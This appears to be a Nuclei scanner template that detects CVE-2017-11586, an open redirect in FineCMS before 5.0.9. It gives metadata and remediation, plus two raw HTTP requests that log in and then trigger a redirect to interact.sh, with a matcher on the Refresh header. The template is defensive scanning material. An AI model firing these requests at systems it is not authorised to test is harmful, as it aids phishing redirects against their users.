id: CVE-2017-11586

info:
  name: FineCMS <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to FineCMS version 5.0.9 or later to fix the open redirect vulnerability.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11586
    cwe-id: CWE-601
    epss-score: 0.00121
    epss-percentile: 0.46136
    cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: finecms
    product: finecms
  tags: cve,cve2017,redirect,finecms

http:
  - raw:
      - |
        POST /index.php?s=member&c=login&m=index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        back=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1
      - |
        GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: header
        regex:
          - 'Refresh:(.*)url=http:\/\/interact\.sh'
# digest: 4b0a00483046022100b9dd6b07bd9874ead239ed591f16da9a600ac73cdc8404ed8e9bcc90e3918104022100bbe20d6aa691239c1573bbf7ccd5993f2127b310bae7ce921c22cc05c615efdd:922c64590222798bb761d5b6d8e72950